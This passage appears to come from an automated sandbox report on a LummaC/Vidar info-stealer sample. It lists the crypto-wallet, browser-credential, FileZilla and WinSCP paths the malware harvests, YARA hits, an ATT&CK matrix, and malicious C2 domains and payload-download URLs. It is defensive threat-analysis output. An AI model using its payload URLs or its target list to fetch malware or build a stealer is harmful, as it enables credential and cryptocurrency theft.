Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000009.00000002.2633668916.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000009.00000002.2633668916.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Source: Yara match	File source: 00000009.00000002.2633668916.00000000014DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 3924, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7672, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 19.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.AEHIDAKECF.exe.fc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.2615297855.0000000000FED000.00000004.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2611657350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected Vidar

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 8.2.22594e132764.exe.86dad8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.22594e132764.exe.86dad8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.22594e132764.exe.86dad8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.22594e132764.exe.840000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.22594e132764.exe.840000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.22594e132764.exe.86dad8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2414047630.000000000086D000.00000004.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 22594e132764.exe PID: 6980, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 3924, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 22594e132764.exe PID: 7656, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7672, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 9_2_6CCF0C40 sqlite3_bind_zeroblob,

9_2_6CCF0C40

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	22 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	21 Registry Run Keys / Startup Folder	511 Process Injection	3 Obfuscated Files or Information	1 Credentials in Registry	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	21 Registry Run Keys / Startup Folder	1 Software Packing	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	55 System Information Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	161 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Virtualization/Sandbox Evasion	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	511 Process Injection	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
WiTqtf1aiE.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\a43486128347[1].exe	100%	Avira	HEUR/AGEN.1310458
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\22594e132764[1].exe	100%	Avira	HEUR/AGEN.1310458
C:\ProgramData\AEHIDAKECF.exe	100%	Avira	HEUR/AGEN.1310458
C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	100%	Avira	HEUR/AGEN.1310458
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\a43486128347[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\22594e132764[1].exe	100%	Joe Sandbox ML
C:\ProgramData\AEHIDAKECF.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\sql[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://player.vimeo.com	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://www.gstatic.cn/recaptcha/	0%	URL Reputation	safe
http://cowod.hopto.org_DEBUG.zip/c	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	0%	URL Reputation	safe
https://steam.tv/	0%	URL Reputation	safe
https://t.me/ae5ed	100%	URL Reputation	malware
https://steamcommunity.com/profiles/76561199724331900	100%	URL Reputation	malware
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://lv.queniujq.cn	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en	0%	URL Reputation	safe
https://checkout.steampowered.com/	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://store.steampowered.com/;	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://recaptcha.net/recaptcha/;	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199780418869	100%	URL Reputation	malware
https://medal.tv	0%	URL Reputation	safe
https://broadcast.st.dl.eccdnx.com	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://login.steampowered.com/	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl	0%	URL Reputation	safe
https://recaptcha.net	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
https://store.steampowered.com/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw	0%	URL Reputation	safe
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	unknown
steamcommunity.com	104.102.49.254	true	true	unknown
cowod.hopto.org	45.132.206.251	true	true	unknown
nsdm.cumpar-auto-orice-tip.ro	147.45.44.104	true	true	unknown
t.me	149.154.167.99	true	true	unknown
s-part-0017.t-0009.fb-t-msedge.net	13.107.253.45	true	false	unknown
heks.egrowbrands.com	147.45.44.104	true	true	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown
kasm.zubairgul.com	95.164.90.97	true	true	unknown
frizzettei.sbs	unknown	unknown	true	unknown
bemuzzeki.sbs	unknown	unknown	true	unknown
invinjurhey.sbs	unknown	unknown	true	unknown
exilepolsiy.sbs	unknown	unknown	true	unknown
exemplarou.sbs	unknown	unknown	true	unknown
laddyirekyi.sbs	unknown	unknown	true	unknown
wickedneatr.sbs	unknown	unknown	true	unknown
isoplethui.sbs	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
frizzettei.sbs	true		unknown
http://heks.egrowbrands.com/ldms/22594e132764.exe	true		unknown
http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe	true		unknown
http://kasm.zubairgul.com/vcruntime140.dll	true		unknown
http://kasm.zubairgul.com/softokn3.dll	true		unknown
https://steamcommunity.com/profiles/76561199724331900	true	URL Reputation: malware	unknown
invinjurhey.sbs	true		unknown
exilepolsiy.sbs	true		unknown
bemuzzeki.sbs	true		unknown
http://kasm.zubairgul.com/msvcp140.dll	true		unknown
exemplarou.sbs	true		unknown
http://kasm.zubairgul.com/mozglue.dll	true		unknown
wickedneatr.sbs	true		unknown
http://kasm.zubairgul.com/freebl3.dll	true		unknown
laddyirekyi.sbs	true		unknown
http://kasm.zubairgul.com/nss3.dll	true		unknown
isoplethui.sbs	true		unknown
https://steamcommunity.com/profiles/76561199780418869	true	URL Reputation: malware	unknown
http://kasm.zubairgul.com/	true		unknown
http://147.45.44.104/ldms/offers.txt	true		unknown
http://kasm.zubairgul.com/sql.dll	true		unknown
http://cowod.hopto.org/	true		unknown
https://t.me/maslengdsa	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	IEHCBA.9.dr	false	URL Reputation: safe	unknown
https://player.vimeo.com	MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	IEHCBA.9.dr	false	URL Reputation: safe	unknown
http://kasm.zubairgul.com/C:	MSBuild.exe, 0000000E.00000002.2704953389.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://cowod.hopto.org	MSBuild.exe, 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://kasm.zubairgul.com/sql.dlll	MSBuild.exe, 0000000E.00000002.2704953389.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	MSBuild.exe, 00000009.00000002.2633668916.0000000001573000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2633668916.0000000001623000.00000004.00000020.00020000.00000000.sdmp, DBKEGC.9.dr	false	URL Reputation: safe	unknown
https://www.gstatic.cn/recaptcha/	MSBuild.exe, 00000013.00000002.2614329754.0000000001278000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com	MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com	MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/css/skin_1/fatalerror.css?v=wctRWaBvNt2z&l=engli	MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://cowod.hopto.org_DEBUG.zip/c	22594e132764.exe, 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 22594e132764.exe, 0000000D.00000002.2414047630.000000000086D000.00000004.00000001.01000000.00000008.sdmp	false	URL Reputation: safe	unknown
http://kasm.zubairgul.com/sql.dllS	MSBuild.exe, 00000009.00000002.2633668916.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://kasm.zubairgul.com:80/sql.dll	MSBuild.exe, 0000000E.00000002.2700208576.00000000004C0000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://cowod.hopto.	MSBuild.exe, 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://cowod.hopto	MSBuild.exe, 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://s.ytimg.com;	MSBuild.exe, 00000013.00000002.2614329754.0000000001278000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://kasm.zubairgul.com/nlsres.dll	MSBuild.exe, 0000000E.00000002.2704953389.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steam.tv/	MSBuild.exe, 00000013.00000002.2614329754.0000000001278000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://kasm.zubairgul.com:80	MSBuild.exe, 0000000E.00000002.2700208576.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false		unknown
